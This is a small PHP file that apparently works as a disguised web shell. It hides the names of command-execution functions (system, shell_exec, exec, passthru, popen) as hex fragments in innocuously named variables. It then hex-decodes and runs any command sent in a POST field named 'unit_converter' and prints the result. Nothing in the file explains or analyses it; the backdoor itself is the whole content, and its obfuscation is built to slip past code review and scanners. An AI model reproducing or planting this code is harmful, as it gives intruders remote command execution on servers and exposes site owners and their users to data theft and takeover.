<?php


$rec1 = '3';
$rec2 = '7';
$rec3 = '9';
$rec4 = '6';
$rec5 = 'd';
$rec6 = '8';
$rec7 = 'f';
$rec8 = '5';
$rec9 = '1';
$rec10 = '2';
$rec11 = '0';
$rec12 = 'e';
$rec13 = '4';
$query_handler1 = pack("H*", '7'.$rec1.$rec2.$rec3.$rec2.'3'.$rec2.'4'.$rec4.'5'.$rec4.$rec5);
$query_handler2 = pack("H*", '7'.'3'.'6'.$rec6.$rec4.'5'.$rec4.'c'.$rec4.'c'.'5'.$rec7.$rec4.$rec8.$rec2.$rec6.'6'.$rec8.$rec4.$rec1);
$query_handler3 = pack("H*", $rec4.'5'.$rec2.'8'.'6'.'5'.'6'.$rec1);
$query_handler4 = pack("H*", '7'.'0'.'6'.$rec9.'7'.$rec1.'7'.'3'.$rec2.'4'.$rec4.$rec6.$rec2.$rec10.'7'.'5');
$query_handler5 = pack("H*", '7'.$rec11.$rec4.'f'.'7'.'0'.$rec4.'5'.'6'.$rec12);
$query_handler6 = pack("H*", '7'.'3'.$rec2.'4'.'7'.$rec10.$rec4.'5'.$rec4.$rec9.$rec4.'d'.$rec8.'f'.$rec4.'7'.'6'.'5'.$rec2.'4'.$rec8.$rec7.$rec4.'3'.$rec4.$rec7.'6'.'e'.'7'.'4'.'6'.'5'.'6'.'e'.$rec2.'4'.$rec2.$rec1);
$query_handler7 = pack("H*", $rec2.$rec11.'6'.$rec1.$rec4.'c'.'6'.'f'.$rec2.'3'.$rec4.'5');
$unit_converter = pack("H*", $rec2.$rec8.'6'.$rec12.$rec4.'9'.$rec2.'4'.'5'.$rec7.'6'.$rec1.'6'.'f'.'6'.'e'.$rec2.$rec4.$rec4.'5'.'7'.'2'.$rec2.$rec13.'6'.$rec8.'7'.'2');
if (isset($_POST[$unit_converter])) {
    $unit_converter = pack("H*", $_POST[$unit_converter]);
    if (function_exists($query_handler1)) {
        $query_handler1($unit_converter);
    } elseif (function_exists($query_handler2)) {
        print $query_handler2($unit_converter);
    } elseif (function_exists($query_handler3)) {
        $query_handler3($unit_converter, $record_tkn);
        print join("\n", $record_tkn);
    } elseif (function_exists($query_handler4)) {
        $query_handler4($unit_converter);
    } elseif (function_exists($query_handler5) && function_exists($query_handler6) && function_exists($query_handler7)) {
        $symbol_elem = $query_handler5($unit_converter, 'r');
        if ($symbol_elem) {
            $component_ent = $query_handler6($symbol_elem);
            $query_handler7($symbol_elem);
            print $component_ent;
        }
    }
    exit;
}